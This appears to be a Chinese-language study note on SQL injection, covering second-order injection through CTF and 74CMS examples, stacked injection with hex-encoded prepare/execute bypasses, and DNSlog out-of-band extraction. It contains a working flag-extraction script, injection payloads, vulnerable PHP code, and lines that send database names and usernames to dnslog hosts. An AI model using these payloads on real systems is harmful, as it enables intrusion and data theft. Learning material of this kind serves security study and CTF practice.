知识点:

1、数据库堆叠注入

  • 根据数据库类型决定是否支持多条语句执行

2、数据库二次注入

  • 应用功能逻辑涉及上导致的先写入后组合的注入

3、数据库Dnslog注入

  • 解决不回显(反向连接),SQL注入,命令执行,SSRF等

4、黑盒模式分析以上

  • 二次注入:插入后调用显示操作符合
  • 堆叠注入:判断注入后直接调多条执行
  • DNS注入:在注入上没太大利用价值,其他还行

知识点展开

二次注入-74CMS&网鼎杯2018Unfinish ★★★

找回密码的逻辑:
点击找回密码->抓到用户名->使用指定用户名(目标)找回密码
(绕过登录验证,直接以某目标为准找密码)->一般网站->直接update更新指定用户数据
update如果写入的是一个SQL注入……
update user set password=xiaosedi where username='sql注入代码'
在存入的数据当中写入恶意执行代码并且存入数据库,造成代码的二次读取生效。


二次注入的原理:
插入恶意数据-->引用恶意数据
在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,
在后端代码中可能会被转义,但在存入数据库时还是原来的数据,数据中一般带有单引号和#号,然后下次使用在拼凑SQL中,所以就形成了二次注入。
个人理解:存入不生效,取出即生效(代码功能)

实例

CTF-[网鼎杯2018]Unfinish-黑盒

题目点我

1.第一个坑:进去只看到一个登录界面,需要自己手动切换到注册界面。(惯性思维,以为会有快捷方式)
http://33fb5085-b7d7-4a88-85e6-4a0900af8cab.node4.buuoj.cn:81/register.php

2.注册完成后,默认跳到登录界面
1.注册信息为:邮箱,用户名,密码
2.注册完成后默认转到登录页面
3.登录进去默认左侧的箭头点开进去会有个用户名和头像的展示
=> 也就是说,用户名会默认插入页面,展示在左边。
=> 只要能修改这个点,就能实现二次注入。
==> 二次注入的办法就在于:把用户名作为注入的点进行注入。
因为是黑盒,所以猜测
1.注册的代码为:
insert into user (username,email,password)VALUES('sywsec@qq.com','sywsec','123456');
2.进入用户界面时,取出用户名
select username from user where email='sywsec@qq.com';
把攻击语句写入到用户名,获取攻击语句注入后再取出来时,形成sql注入攻击

参考博客1
参考博客2

这里套用大佬的Py代码解决爆flag的问题

# coding=utf-8
import requests
import logging
import re
from time import sleep

# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)

def search():
flag = ''
url = 'http://33fb5085-b7d7-4a88-85e6-4a0900af8cab.node4.buuoj.cn:81/'
url1 = url+'register.php'
url2 = url+'login.php'
for i in range(100):
sleep(0.3)#不加sleep就429了QAQ
data1 = {"email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"}
data2 = {"email" : "1234{}@123.com".format(i), "password" : "123"}
r1 = requests.post(url1, data=data1)
r2 = requests.post(url2, data=data2)
res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text)
res1 = re.search(r'\d+', res.group())
flag = flag+chr(int(res1.group()))
print(flag)
print("final:"+flag)

if __name__ == '__main__':
search()

# --------flag如下-------- #
flag{a56fb7e0-40a5-4296-82d7-4e208353d6b3}

CMS-74CMS个人会员中心-黑白盒

骑士CMS的个人中心简历的二次注入漏洞

黑盒测试:
在个人中心->创建个人简历->教育经历->学校名称处,插入如下代码进行注入
xiaosedi',address=user()#
查看该简历时,
联系的地址替换为了:root@localhost
学校名称处:xiaosedi',address=user()#
通过这种方式控制了联系地址的展示我们需要的单个信息。


白盒测试
抓包发现地址后面出现:save_resume_education_edit
找到save_resume_education_edit的位置
//保存修改的教育经历
elseif ($act=='save_resume_education_edit')
{

$id=trim($_POST['id'])?$_POST['id']:showmsg('参数错误!',1);
$setsqlarr['start']=trim($_POST['start'])?$_POST['start']:showmsg('请填写开始时间!',1,$link);
$setsqlarr['endtime']=trim($_POST['endtime'])?$_POST['endtime']:showmsg('请填写结束时间!',1,$link);
$setsqlarr['school']=trim($_POST['school'])?$_POST['school']:showmsg('请填写学校名称!',1,$link);
$setsqlarr['speciality']=trim($_POST['speciality'])?$_POST['speciality']:showmsg('请填写专业名称!',1,$link);
$setsqlarr['education']=trim($_POST['education'])?$_POST['education']:showmsg('请选择获得学历!',1,$link);
$setsqlarr['education_cn']=trim($_POST['education_cn'])?$_POST['education_cn']:showmsg('请选择获得学历!',1,$link);
if (updatetable(table('resume_education'),$setsqlarr," id='{$id}' AND uid='{$_SESSION['uid']}'"))
{
if ($_POST['go_resume_show'])
{
header("Location: ?act=resume_show&pid={$_REQUEST['pid']}");
}
else
{
$link[0]['text'] = "返回上一页";
$link[0]['href'] = "?act=make4&pid={$_REQUEST['pid']}";
check_resume($_SESSION['uid'],intval($_REQUEST['pid']));
showmsg("修改成功!",2,$link);
}
}
else
{
showmsg("保存失败!",0,$link);
}
}

还有一种是新创建的make4,也就是新创建简历时的代码:
//创建简历-保存教育经历
elseif ($act=='make4_save')
{
$resume_education=get_resume_education($_SESSION['uid'],$_REQUEST['pid']);
if (count($resume_education)>=6) showmsg('教育经历不能超过6条!',1,$link);
$setsqlarr['uid']=intval($_SESSION['uid']);
$setsqlarr['pid']=intval($_REQUEST['pid']);
if ($setsqlarr['uid']==0 || $setsqlarr['pid']==0 ) showmsg('参数错误!',1);
$setsqlarr['start']=trim($_POST['start'])?$_POST['start']:showmsg('请填写开始时间!',1,$link);
$setsqlarr['endtime']=trim($_POST['endtime'])?$_POST['endtime']:showmsg('请填写结束时间!',1,$link);
$setsqlarr['school']=trim($_POST['school'])?$_POST['school']:showmsg('请填写学校名称!',1,$link);
$setsqlarr['speciality']=trim($_POST['speciality'])?$_POST['speciality']:showmsg('请填写专业名称!',1,$link);
$setsqlarr['education']=trim($_POST['education'])?$_POST['education']:showmsg('请选择获得学历!',1,$link);
$setsqlarr['education_cn']=trim($_POST['education_cn'])?$_POST['education_cn']:showmsg('请选择获得学历!',1,$link);
if (inserttable(table('resume_education'),$setsqlarr))
{
check_resume($_SESSION['uid'],intval($_REQUEST['pid']));
if ($_POST['go_resume_show'])
{
header("Location: ?act=resume_show&pid={$setsqlarr['pid']}");
}
else
{
$link[0]['text'] = "继续添加教育经历";
$link[0]['href'] = '?act=make4&pid='.intval($_REQUEST['pid']);
$link[1]['text'] = "跳到下一步";
$link[1]['href'] = '?act=make5&pid='.intval($_REQUEST['pid']);
$link[2]['text'] = "查看我的教育经历";
$link[2]['href'] = '?act=make4&pid='.intval($_REQUEST['pid']);
showmsg("添加成功,您可以继续添加教育经历或跳到下一步 ",2,$link,true,15);
}
}
else
{
showmsg("保存失败!",0,$link);
}
}

涉及的自定义函数table和inserttable,updatetable:

function table($table)
{
# table其中的一个作用:加表前缀
# resume_education => qs_resume_education
global $pre;
return $pre .$table ;
}
function inserttable($tablename, $insertsqlarr, $returnid=0, $replace = false, $silent=0) {
global $db;
$insertkeysql = $insertvaluesql = $comma = '';
foreach ($insertsqlarr as $insert_key => $insert_value) {
$insertkeysql .= $comma.'`'.$insert_key.'`';
$insertvaluesql .= $comma.'\''.$insert_value.'\'';
$comma = ', ';
}
$method = $replace?'REPLACE':'INSERT';
// 插入数据的地方:
$state = $db->query($method." INTO $tablename ($insertkeysql) VALUES ($insertvaluesql)", $silent?'SILENT':'');
if($returnid && !$replace) {
return $db->insert_id();
}else {
return $state;
}
}
function updatetable($tablename, $setsqlarr, $wheresqlarr, $silent=0) {
global $db;
$setsql = $comma = '';
foreach ($setsqlarr as $set_key => $set_value) {
if(is_array($set_value)) {
$setsql .= $comma.'`'.$set_key.'`'.'='.$set_value[0];
} else {
$setsql .= $comma.'`'.$set_key.'`'.'=\''.$set_value.'\'';
}
$comma = ', ';
}
$where = $comma = '';
if(empty($wheresqlarr)) {
$where = '1';
} elseif(is_array($wheresqlarr)) {
foreach ($wheresqlarr as $key => $value) {
$where .= $comma.'`'.$key.'`'.'=\''.$value.'\'';
$comma = ' AND ';
}
} else {
$where = $wheresqlarr;
}
// 更新数据的地方
return $db->query("UPDATE ".($tablename)." SET ".$setsql." WHERE ".$where, $silent?"SILENT":"");
}

总和来讲,上面说的是插入和更新数据的方式,也是二次注入代码如何插入数据库的表达方法。

# 个人简历展示页面
<?php
/*
* 74cms 简历详细页面
* ============================================================================
* 版权所有: 骑士网络,并保留所有权利。
* 网站地址: http://www.74cms.com;
* ----------------------------------------------------------------------------
* 这不是一个自由软件!您只能在不用于商业目的的前提下对程序代码进行修改和
* 使用;不允许对程序代码以任何形式任何目的的再发布。
* ============================================================================
*
*/
define('IN_QISHI', true);
$alias="QS_resumeshow";
require_once(dirname(__FILE__).'/../include/common.inc.php');
if($mypage['caching']>0){
$smarty->cache =true;
$smarty->cache_lifetime=$mypage['caching'];
}else{
$smarty->cache = false;
}
$cached_id=$_CFG['subsite_id']."|".$alias.(isset($_GET['id'])?"|".(intval($_GET['id'])%100).'|'.intval($_GET['id']):'').(isset($_GET['page'])?"|p".intval($_GET['page'])%100:'');
require_once(QISHI_ROOT_PATH.'include/mysql.class.php');
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
// 销毁变量
unset($dbhost,$dbuser,$dbpass,$dbname);
// 调用模板进行显示
$mypage['tpl']=get_tpl("resume",$_GET['id']).$mypage['tpl'];
$smarty->display($mypage['tpl'],$cached_id);
$db->close();
unset($smarty);
?>

自定义函数

unction get_tpl($type,$id)
{
global $db,$_CFG,$smarty;
$id=intval($id);
$tarr=array("jobs","company_profile","resume","companycommentshow","companynewsshow");
if (!in_array($type,$tarr)) exit();
if ($type=='companynewsshow')
{
$utpl=$db->getone("SELECT p.tpl FROM ".table('company_news')." AS c LEFT JOIN ".table('company_profile')." AS p ON c.company_id=p.id WHERE c.id='{$id}' limit 1");
}
else
{
$utpl=$db->getone("SELECT tpl FROM ".table($type)." WHERE id='{$id}' limit 1");
}
$thistpl=$utpl['tpl'];
if (!empty($_GET['style']))
{
$thistpl=$_GET['style'];
}
if (empty($thistpl))
{
if ($type=='resume')
{
$thistpl="../tpl_resume/{$_CFG['tpl_personal']}/";
$smarty->assign('user_tpl',$_CFG['site_dir']."templates/tpl_resume/{$_CFG['tpl_personal']}/");
return $thistpl;
}
else
{
$thistpl="../tpl_company/{$_CFG['tpl_company']}/";
$smarty->assign('user_tpl',$_CFG['site_dir']."templates/tpl_company/{$_CFG['tpl_company']}/");
return $thistpl;
}
}
else
{
if ($type=='resume')
{
$smarty->assign('user_tpl',$_CFG['site_dir']."templates/tpl_resume/{$thistpl}/");
return "../tpl_resume/{$thistpl}/";
}
else
{
$smarty->assign('user_tpl',$_CFG['site_dir']."templates/tpl_company/{$thistpl}/");
return "../tpl_company/{$thistpl}/";
}
}

总结:

显示信息->对信息进行修改
这个CMS主要是在插入数据的时候能在学校名称处改值。使用更新值的话行不通。

攻击代码在插入数据库的地方生效。

流程:登录->简历的教育部分的学校->使用攻击代码插入信息->插入后,查看简历时显示信息。

堆叠注入-数据库类型&强网杯2019随便注

简单来说,看起来是执行一条SQL,实际上是执行N条SQL

MYSQL分号堆叠
SELECT * FROM USER WHERE ID=1;CREATR TABLE SYW;
MYSQLunion联合查询等

根据数据库类型决定是否支持多条语句执行
支持堆叠数据库类型:MYSQL MSSQL Postgresql等

题目点我

鸡肋的堆叠注入

输入框能执行SQL语句,且使用 ; 进行间隔。
'show databases;
'show tables;
查表名
';show columns from `1919810931114514`;
查表中的列等值(select行不通)
';select flag from `1919810931114514`;

把查询语句转换为十六进制编码(原因:mysql默认执行十六进制编码)
select flag from `1919810931114514` => 0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;
声明一个变量
';Set @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;
执行变量当中的sql语句
1.将变量a生成待执行的语句
prepare execsql from @a;
2.将生成的语句执行
execute execsql
(mysql内置语句执行sql,绕过限制。)
';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

DNS利用-平台介绍&SQL注入&命令执行等

鸡肋的地方:必须调用数据库的load_file,而这个东西时sql高权限的,有高权限还要他干啥?

1.平台

http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io

2.应用场景:
解决不回显,反向连接,SQL注入,命令执行,SSRF等

SQL注入:
select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));
and (select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc')))
命令执行:
ping %USERNAME%.7logee.dnslog.cn